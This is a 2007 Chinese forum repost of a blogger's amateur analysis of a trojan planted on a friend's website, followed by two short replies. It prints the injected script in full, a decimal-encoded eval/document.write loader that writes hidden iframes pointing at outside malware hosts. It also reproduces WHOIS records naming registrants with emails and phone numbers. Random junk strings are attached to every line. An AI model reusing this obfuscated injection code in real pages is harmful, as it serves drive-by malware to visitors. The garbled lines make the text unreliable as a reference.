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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, w<9rTHG8,  
.==D?#bn  
http://www.areway.cn/?p=175 !J7`frv"(  
z(\a JW  
[{7#IZL  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码:  _<S!tW  
          st RM *.  
<script>t=’60,105,102,114,97,109,101, !zE{`H a~  
32,115,114,99,61,104,116,116,112,58,47,47, yLC[-.H  
102,114,101,101,46,117,45,117,117,117,46,99, |o5eG><  
110,47,101,114,114,111,114,46,104,116,109, [inlxJD  
32,119,105,100,116,104,61,49,48,48,32,104, }n9(|i+  
101,105,103,104,116,61,48,62,60,47,105,102, N!K%aH~O  
114,97,109,101,62′; Jp=qPG|  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> ?J:w,,4m  
                                                                                                  <[db)r~c  
<script>t=’60,105,102,114,97,109,101,32,115, "h+Z[h6T  
114,99,61,104,116,116,112,58,47,47,102,114, &O' W+4FAc  
101,101,46,117,45,117,117,117,46,99,110,47, s/"bH3Ob9v  
101,114,114,111,114,46,104,116,109,32,119, Uc tlE>X`  
105,100,116,104,61,49,48,48,32,104,101,105, D^[l~K  
103,104,116,61,48,62,60,47,105,102,114,97, 0/Q_% :  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); \jC) ;mk  
document.write(t);</script> %OBW/Ti  
                                                                                                  0<m7:D Gd  
<html xmlns=” & BPYlfB1  
http://www.w3.org/1999/xhtml d1D f`  
“> << 6 GE  
<head> Cf[tNq  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> A^OwT#  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> c]9gf\WW  
<title>首页 - 爱生活家庭网 Zy(i_B-b  
                                                                                                                                                    V"#0\ |]m  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 =7Ud-5c  
转换字符串后的大概内容是(谁点击后果自付): gnp.!-  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… c-$rB_t+  
                                                                                                                                  {lds?AuK  
查询玉米u-uuu.cn的详细信息: agUdI_'~@9  
Domain Name: u-uuu.cn ^)dsi  
ROID: 20070901s10001s64972306-cn CPJ<A,V  
Domain Status: ok doanTF4Da  
Registrant Organization: 王雷 5eTA]  
Registrant Name: 王雷 %L.S~dN6  
Administrative Email: czlovexs@126.com Ux_tzd0!  
Sponsoring Registrar: 北京万网志成科技有限公司 |Rf j 0+  
Name Server:ns.yovole.com jW:7PS  
Name Server:ns1.yovole.com :4{ `c.S  
Registration Date: 2007-09-01 17:54 E/:U,u{  
Expiration Date: 2008-09-01 17:54 | #yu  
最后PING了一下地址 都没有什么…. if'=W6W  
                                                                                                 kORWj<  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. /!Rva"  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> 2|,$#V=  
<script language=”javascript” src=” nd' D0<%  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script p.W7>o,[w  
> oywiX@]~7  
这个玉米应该有可能是木马作者的: [piK"N  
foafau.info的详细信息: !4p{ b f  
Access to INFO WHOIS information is provided to assist persons in Kki(A 4;7F  
determining the contents of a domain name registration record in the JT 7WZc)  
Afilias registry database. The data in this record is provided by j e\!0{  
Afilias Limited for informational purposes only, and Afilias does not $>/d)o  
guarantee its accuracy.  This service is intended only for query-based H(^Eh v>  
access. You agree that you will use this data only for lawful purposes _`?0w#> 0  
and that, under no circumstances will you use this data to: (a) allow, :qo[@x{  
enable, or otherwise support the transmission by e-mail, telephone, or tiZ H;t';<  
facsimile of mass unsolicited, commercial advertising or solicitations =IL\T8y09  
to entities other than the data recipient’s own existing customers; or 1GN^ui a7  
(b) enable high volume, automated, electronic processes that send [Hx}#Kds  
queries or data to the systems of Registry Operator, a Registrar, or !RKuEg4hQ  
Afilias except as reasonably necessary to register domain names or 3/RwCtc  
modify existing registrations. All rights reserved. Afilias reserves ;#Po}8Y=  
the right to modify these terms at any time. By submitting this query, ?T/4 =  
you agree to abide by this policy. k4s V6f  
Domain ID:D22418703-LRMS ^2'Y=g>  
Domain Name:FOAFAU.INFO <f7 O3 >  
Created On:20-Nov-2007 16:05:42 UTC .BP d06y  
Last Updated On:20-Nov-2007 16:05:44 UTC &kb~N-  
Expiration Date:20-Nov-2008 16:05:42 UTC gvc@q`_]  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) gclj:7U  
Status:CLIENT DELETE PROHIBITED |<{SSA  
Status:CLIENT RENEW PROHIBITED goR_\b SU  
Status:CLIENT TRANSFER PROHIBITED 6m&GN4Ca  
Status:CLIENT UPDATE PROHIBITED (U 'n1s/X  
Status:TRANSFER PROHIBITED 12^uu)6Xm,  
Registrant ID:GODA-040110615 <Y)14w%  
Registrant Name:liu hong oywPPVxj  
Registrant Organization: v/ry" W  
Registrant Street1:beijing 7@{%S~TN  
Registrant Street2: ^JY {<   
Registrant Street3: !{l% 3'2  
Registrant City:beijing U 4d7-&U  
Registrant State/Province: dC6>&@ VX  
Registrant Postal Code:100000 I!/EQO|  
Registrant Country:CN %E%=Za  
Registrant Phone:+86.860108888777 .w4|$.H  
Registrant Phone Ext.: z_'^=9m  
Registrant FAX: n~lB}  
Registrant FAX Ext.: _h1bVd-  
Registrant Email:bbbshiji@163.com Sj ovL@X  
Admin ID:GODA-240110615 @JSWqi>  
Admin Name:liu hong ( %7V  
Admin Organization: ?h`,@~6u  
Admin Street1:beijing >9w^C1"  
Admin Street2: 0s`6d;  
Admin Street3: o*$KiD  
Admin City:beijing nDn+lWA=g  
Admin State/Province: gxhp7c182  
Admin Postal Code:100000  C6gSj1  
Admin Country:CN 6O/L~Z*t  
Admin Phone:+86.860108888777 ~;(\a@ _  
Admin Phone Ext.: cEHpa%_5  
Admin FAX: IEm?'o:  
Admin FAX Ext.: u/W{JPlL  
Admin Email:bbbshiji@163.com R V#w 0 r  
Billing ID:GODA-340110615 7b1 yF,N  
Billing Name:liu hong :+ YHj )mN  
Billing Organization: TD\TVK3P  
Billing Street1:beijing .EhC\QpP  
Billing Street2: f?Ex$gnI  
Billing Street3: 2@(+l*.Q  
Billing City:beijing *c#DB{N  
Billing State/Province: |e8A)xM]wC  
Billing Postal Code:100000 U,b80%k:  
Billing Country:CN vT5GUO{5  
Billing Phone:+86.860108888777 ]Z[3 \~?  
Billing Phone Ext.: bN?*p($/  
Billing FAX: y6am(ugE  
Billing FAX Ext.: Gh_5$@ hF  
Billing Email:bbbshiji@163.com !o| ex+z;  
Tech ID:GODA-140110615 J|xXo  
Tech Name:liu hong >0kL9_9{  
Tech Organization: <2*+Y|Lk2  
Tech Street1:beijing 23LG)or.JC  
Tech Street2: K;/f?3q  
Tech Street3: BSS4}qyS  
Tech City:beijing #NT~GhWFf  
Tech State/Province: LEKE+775  
Tech Postal Code:100000 a3A-N] ;f  
Tech Country:CN C^C'!  
Tech Phone:+86.860108888777 + o< 7*  
Tech Phone Ext.: p!DdX  
Tech FAX: ~RLjL"  
Tech FAX Ext.: pe[huYE  
Tech Email:bbbshiji@163.com {{A=^rr%C  
Name Server:NS27.DOMAINCONTROL.COM [GyPwb-  
Name Server:NS28.DOMAINCONTROL.COM ]@SEOc@ j  
Name Server: 1q'_J?Xmd  
Name Server: s,-<P1}/  
Name Server: VIWH~UR)&!  
Name Server: ~DLxIe  
Name Server: r(]Gd`]  
Name Server: U;&s=M0[  
Name Server: ;Qd'G7+  
Name Server: H"+|n2E^  
Name Server: /_<_X 7  
Name Server: "% \ y$  
Name Server: j.Y!E<e4]  
                                                                                                          =[4C[s  
接着下载每个文件里面的代码: z@[n?t!7k  
一步一步看.. *mWS+xcU(L  
!OV+2suu1  
fpNq  
2wU,k(F_  
D{]w +  
"`K73M,c?9  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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